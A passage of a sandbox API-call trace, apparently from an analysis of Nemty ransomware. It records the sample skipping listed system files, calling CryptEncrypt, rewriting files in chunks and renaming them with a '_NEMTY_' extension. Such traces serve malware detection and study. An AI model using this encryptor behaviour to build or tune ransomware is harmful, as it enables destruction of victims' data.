0x1e8 [0142.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0142.818] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.818] WriteFile (in: hFile=0x1e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0142.819] CloseHandle (hObject=0x1e8) returned 1 [0142.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0142.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0142.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943b0 [0142.819] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\*.*", lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8c32f70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x8c32f70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a30 [0142.820] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0142.820] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8c32f70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x8c32f70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0142.820] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0142.820] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0142.820] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c4e50a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c4e50a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cdb6711, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2141, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="drag.png", cAlternateFileName="")) returned 1 [0142.820] lstrcmpiW (lpString1="drag.png", lpString2=".") returned 1 [0142.820] lstrcmpiW (lpString1="drag.png", lpString2="..") returned 1 [0142.820] lstrcmpiW (lpString1="drag.png", lpString2="...") returned 1 [0142.820] lstrcmpiW (lpString1="drag.png", lpString2="windows") returned -1 [0142.820] lstrcmpiW (lpString1="drag.png", lpString2="$RECYCLE.BIN") returned 1 [0142.820] lstrcmpiW (lpString1="drag.png", lpString2="rsa") returned -1 [0142.820] lstrcmpiW (lpString1="drag.png", lpString2="NTDETECT.COM") returned -1 [0142.820] lstrcmpiW (lpString1="drag.png", lpString2="ntldr") returned -1 [0142.820] lstrcmpiW (lpString1="drag.png", lpString2="MSDOS.SYS") returned -1 [0142.820] lstrcmpiW (lpString1="drag.png", lpString2="IO.SYS") returned -1 [0142.820] lstrcmpiW (lpString1="drag.png", lpString2="boot.ini") returned 1 [0142.820] lstrcmpiW (lpString1="drag.png", lpString2="boot.ini") returned 1 [0142.820] lstrcmpiW (lpString1="drag.png", lpString2="AUTOEXEC.BAT") returned 1 [0142.820] lstrcmpiW (lpString1="drag.png", lpString2="ntuser.dat") returned -1 [0142.820] lstrcmpiW (lpString1="drag.png", lpString2="desktop.ini") returned 1 [0142.820] lstrcmpiW (lpString1="drag.png", lpString2="CONFIG.SYS") returned 1 [0142.820] lstrcmpiW (lpString1="drag.png", lpString2="RECYCLER") returned -1 [0142.820] lstrcmpiW (lpString1="drag.png", lpString2="BOOTSECT.BAK") returned 1 [0142.820] lstrcmpiW (lpString1="drag.png", lpString2="bootmgr") returned 1 [0142.820] lstrcmpiW (lpString1="drag.png", lpString2="programdata") returned -1 [0142.820] lstrcmpiW (lpString1="drag.png", lpString2="appdata") returned 1 [0142.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0142.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0142.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0142.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0142.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0142.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0142.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.821] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0142.821] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0142.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.821] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0142.821] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef98, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0142.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0142.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0142.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0142.821] Sleep (dwMilliseconds=0x5) [0142.831] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x8c7f230, dwHighDateTime=0x1d561e8)) [0142.831] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x8c7f230, dwHighDateTime=0x1d561e8)) [0142.831] GetLastError () returned 0xb7 [0142.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0142.831] GetLastError () returned 0xb7 [0142.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0142.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0142.832] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0142.832] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0142.832] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0142.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0142.832] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="H2pAKuQ/ijFNSpJnmYNjltgM+SwkqvdVTGp58DCyR6PVCEeSskx5YgSjvyRZJmy3\r\nT3UeQicO5B7mvDBJmGmIf8yZF1Rt1GwwYIVaePlehZIPdhybVwhDFyHvKyjzfU/M\r\njAFfbgNv5i9Grs8BH26qAbvTSTnNUjXXawsPYJbs19z/Sq4v3uPQ7ssAVAKDDFdr\r\ngXACPHHaPSPFkEH1g3RlrVPacqwBGKjgxQm5CAsSOCHAbSwZFaaQbdvc0WJZ6uvF\r\nweU3zuqyVD02tRvfAikHMc46+5rhUM2GHnbljRRJHOyovRiUhtb6+TUzhOpQGz4B\r\nKB7Z7Q/ygnyfINdtTAbFig==\r\n", pcchString=0x653ec5c) returned 1 [0142.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0142.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0142.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0142.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0142.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0142.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0142.832] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\drag.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.832] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0142.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0142.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.832] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0142.842] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.842] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0142.842] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.842] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0142.851] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.851] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0142.851] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.851] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0142.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.861] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0142.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.861] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0142.870] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.870] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0142.870] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.870] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0142.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.880] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0142.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.880] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0142.890] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.890] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0142.890] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.890] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0142.899] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.899] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0142.899] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.900] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0142.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.909] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0142.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.909] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0142.918] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.919] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0142.919] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.919] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0142.928] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.928] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0142.928] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.928] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0142.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.934] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0142.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.934] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0142.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.940] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0142.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.940] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0142.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0142.940] CloseHandle (hObject=0xffffffff) returned 0 [0142.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0142.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0142.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0142.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0142.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0142.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0142.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0142.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0142.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0142.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0142.940] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\drag.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\drag.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\drag.png._nemty_kgobjgd_")) returned 0 [0142.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0142.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0142.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0142.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0142.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0142.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0142.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0142.941] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="en-US", cAlternateFileName="")) returned 1 [0142.941] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0142.941] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0142.941] lstrcmpiW (lpString1="en-US", lpString2="...") returned 1 [0142.941] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0142.941] lstrcmpiW (lpString1="en-US", lpString2="$RECYCLE.BIN") returned 1 [0142.941] lstrcmpiW (lpString1="en-US", lpString2="rsa") returned -1 [0142.941] lstrcmpiW (lpString1="en-US", lpString2="NTDETECT.COM") returned -1 [0142.941] lstrcmpiW (lpString1="en-US", lpString2="ntldr") returned -1 [0142.941] lstrcmpiW (lpString1="en-US", lpString2="MSDOS.SYS") returned -1 [0142.941] lstrcmpiW (lpString1="en-US", lpString2="IO.SYS") returned -1 [0142.941] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0142.941] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0142.941] lstrcmpiW (lpString1="en-US", 